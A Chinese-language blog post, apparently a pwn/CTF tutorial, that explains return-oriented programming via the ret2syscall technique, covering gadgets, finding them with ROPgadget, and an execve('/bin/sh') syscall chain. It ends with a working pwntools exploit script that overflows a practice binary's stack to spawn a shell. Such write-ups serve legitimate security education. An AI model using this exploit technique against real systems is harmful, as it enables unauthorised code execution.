ret2syscall

前面看了ret2text和ret2shellcode,但是都没有真正意义上的ROP,而ret2syscall是真正意义上涉及到了ROP。
首先我们看看什么是ROP。这里我谈谈我对ROP的理解。
ROP的全名是返回导向编程,看到返回就知道一定和ret有关系。看ROP之前我们看看前面的栈溢出,栈溢出进行攻击就是往栈里输入一个过长的数据导致溢出,然后覆盖返回地址,这样就可以直接到我们想到的地址进行一次完整的攻击。这里我们之前看到的都是一次性完成攻击,比如在之前的ret2text里很大概率都是有一个地址一次性可以包含有system("/bin/sh")保证一次性攻击完成。

image

可以看到这张图,就是覆盖到return address.
那么如果我们没有可以一次性就可以完成攻击的address.怎么办?就是没有system(".bin/sh")怎么办?现在就需要ROP出来解决问题。

image

因为我们没有可以一次性完成攻击的东西,所以我们现在有一个思路,就是把很多可以完成攻击的部分的片段拼凑起来,使之可以完成一次完整的攻击,这样也是可以完成攻击的。大家可以看到这张图。前两个是stack后面一个是text段。我们把return address覆盖成一个又一个小片段。进而完成攻击。大家可能对这些片段感到疑惑,这些是什么东西,我学习的时候也理解了很久,后面发现了其实这个是可以完成一个系统调用的汇编片段。

mov eax, 0xb
mov ebx, [“/bin/sh”]
mov ecx, 0
mov edx, 0
int 0x80
=> execve("/bin/sh",NULL,NULL)

这些片段凑在一起就是完成了一次系统调用,这也是为什么这种攻击方式叫做syscall。这些片段叫做gadget。

image

而ROP,其实大家可以从上面的图中看出来每一个汇编的特点是什么?都有ret。因为只有这些又ret的片段,才可以让我们一次又一次在完成我们想要的操作后可以回到本来的正确的地址。所以ROP是叫做返回导向编程。

现在我们知道了ROP那么还有一个问题,这些gadget往哪里找呢?一般来说是在binary文件的text段里去找。这里要用一个工具叫ROPgadget

image

语句语法是ROPgadget --binary 文件名 --only "特征(pop|ret)"

这里面就是会有文件里的各种gadget我们可以在里面找我们需要的gadget,当然找的是gadget的地址。

接下来实战一道题
image
题目漏洞很简单,一个输入可以完成栈溢出,但是找整个程序是没有system函数的。这时候可以考虑一下ret2syscall。我们找到那些gadget

mov eax, 0xb
mov ebx, [“/bin/sh”]
mov ecx, 0
mov edx, 0
int 0x80
=> execve("/bin/sh",NULL,NULL)

image
找到后就可以构造payload

点击查看代码
from pwn import*
io=process("./ret2syscall")
pop_eax_ret=0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb90
int_80_addr=0x08049421
bin_sh_addr=0x080BE408
payload=112*'a'+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_addr)+p32(int_80_addr)
io.sendline(payload)
io.interactive()

这里注意payload的构造及其顺序,其他的都不是很需要关注。

posted @ 2022-05-13 18:13  REPWNER  阅读(7)  评论(0)    收藏  举报